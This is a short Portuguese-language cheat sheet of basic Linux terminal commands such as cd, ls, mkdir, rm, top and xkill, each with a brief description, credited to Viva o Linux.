Comandos básicos que podem ser úteis qualquer dia: 


cal – mostra o calendário do mês atual
cd nome – troca de diretório. Exemplo: “cd /xerxeslins/Downloads”. Se não especificar o diretório vai para o diretório pessoal.
clear – limpa o terminal
date – mostra a data
df -h – mostra o uso do HD
exit – fecha o terminal
ifconfig - mostra IP e outras informações de rede
ls -a – lista conteúdo do diretório atual
mkdir nome – cria um diretório com o nome especificado
pwd – mostra o diretório atual
rm nome – apaga um arquivo com o nome especificado
rmdir nome – apaga um diretório com o nome espeficiado
shutdown -r now (como root) – reinicia a máquina
top – mostra uso da memória, processador e outros (teclar “q” para sair)
touch nome – cria um arquivo com o nome especificado
uname -a – mostra informações do sistema
uptime – mostra tempo que a máquina está ligada 
who – mostra quem está logado
whoami – diz quem é você
xkill – após digitar clique em uma janela para encerrar o processo. Bom para fechar programas travados.




Fonte: Viva o Linux
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